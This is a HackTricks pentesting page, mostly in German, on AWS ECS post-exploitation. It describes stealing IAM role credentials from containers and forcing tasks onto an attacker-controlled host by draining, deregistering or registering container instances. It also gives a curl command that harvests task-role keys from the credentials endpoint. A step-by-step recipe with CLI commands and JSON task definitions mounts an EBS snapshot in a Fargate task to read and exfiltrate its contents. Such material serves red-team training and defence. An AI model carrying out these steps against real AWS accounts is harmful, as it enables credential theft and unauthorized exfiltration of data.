AWS - ECS Post Exploitation

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

ECS

Für mehr Informationen siehe:

AWS - ECS Enum

Host IAM Roles

In ECS kann einer Aufgabe, die im Container läuft, eine IAM role zugewiesen werden. Wenn die Aufgabe innerhalb einer EC2-Instanz ausgeführt wird, hat die EC2 instance in der Regel eine weitere IAM role angehängt.
Das bedeutet, dass Sie, wenn Sie eine ECS-Instanz kompromittieren, möglicherweise die IAM role, die mit dem ECR und der EC2 instance verknüpft ist, erlangen können. Für mehr Informationen darüber, wie man diese Anmeldeinformationen erhält, siehe:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc to node to steal other containers creds & secrets

Außerdem verwendet EC2 docker, um ECS tasks auszuführen. Wenn Sie es schaffen, auf den Node zu entkommen oder Zugriff auf den docker socket zu erhalten, können Sie prüfen, welche anderen Container ausgeführt werden, und sogar in sie eindringen und deren angehängte IAM roles stehlen.

Making containers run in current host

Zudem hat die EC2 instance role in der Regel ausreichend permissions, um den container instance state der EC2-Instanzen, die als Nodes im Cluster verwendet werden, zu aktualisieren. Ein Angreifer könnte den state of an instance to DRAINING ändern; dann wird ECS alle Tasks davon entfernen und die als REPLICA laufenden Tasks in einer anderen instance ausgeführt, möglicherweise innerhalb der Instanz des Angreifers, sodass er deren IAM roles und potenziell sensible Informationen aus dem Inneren der Container stehlen kann.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Die gleiche Technik kann durchgeführt werden, indem man die EC2 instance vom Cluster deregistriert. Das ist potenziell weniger unauffällig, aber es wird die tasks zwingen, in anderen instances ausgeführt zu werden:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Eine letzte Technik, um die erneute Ausführung von tasks zu erzwingen, besteht darin, ECS mitzuteilen, dass die task or container was stopped. Es gibt 3 mögliche APIs, um dies zu tun:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Mit einem Angreifer-Host dem Cluster beitreten (Register Container Instance)

Eine weitere Variante (direkter als draining) ist, in das Cluster Kapazität hinzuzufügen, die Sie kontrollieren, indem Sie eine EC2-Instanz als container instance (ecs:RegisterContainerInstance) registrieren und die erforderlichen container instance attributes so setzen, dass die placement constraints übereinstimmen. Sobald Tasks auf Ihrem Host landen, können Sie Container inspizieren/execen und AWS_CONTAINER_CREDENTIALS_RELATIVE_URI-Credentials ernten.

Siehe die ECS privesc-Seite, Abschnitt zu ecs:RegisterContainerInstance für den vollständigen Ablauf.

Sensible Informationen aus ECR-Containern stehlen

Die EC2-Instanz wird wahrscheinlich auch die Berechtigung ecr:GetAuthorizationToken haben, die es ihr erlaubt, Images herunterzuladen (Sie könnten darin nach sensiblen Informationen suchen).

Task Role Credentials via ecs:ExecuteCommand stehlen

Wenn ExecuteCommand für einen Task aktiviert ist, kann ein Principal mit ecs:ExecuteCommand + ecs:DescribeTasks eine Shell innerhalb des laufenden Containers öffnen und dann den task credentials endpoint abfragen, um die task role-Credentials zu ernten:

  • Von innerhalb des Containers: curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • Verwenden Sie die zurückgegebenen AccessKeyId/SecretAccessKey/Token, um AWS-APIs als die task role aufzurufen

Siehe die ECS privilege escalation-Seite für enumeration und Befehlsbeispiele.

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Missbrauchen Sie die native ECS EBS-Integration (2024+), um den Inhalt eines vorhandenen EBS-Snapshots direkt in einem neuen ECS task/service einzuhängen und dessen Daten aus dem Container heraus zu lesen.

  • Benötigt (mindestens):

  • ecs:RegisterTaskDefinition

  • Eines von: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole auf:

  • ECS infrastructure role used for volumes (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles referenced by the task definition

  • If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Auswirkung: Lesen beliebiger Platteninhalte aus dem Snapshot (z. B. Datenbankdateien) innerhalb des Containers und Exfiltration über Netzwerk/Logs.

Schritte (Fargate example):

  1. Erstellen Sie die ECS infrastructure role (falls sie nicht existiert) und hängen Sie die managed policy an:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Registriere eine task definition mit einem volume, das mit configuredAtLaunch markiert ist, und mounte es im container. Beispiel (gibt das secret aus und schläft dann):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Erstelle oder aktualisiere einen Service und übergebe den EBS-Snapshot über volumeConfigurations.managedEBSVolume (erfordert iam:PassRole für die Infra-Rolle). Beispiel:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Wenn der Task startet, kann der Container den Inhalt des Snapshots am konfigurierten Mount-Pfad (z. B. /loot) lesen. Exfiltrate via the task’s network/logs.

Bereinigung:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Quellen

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks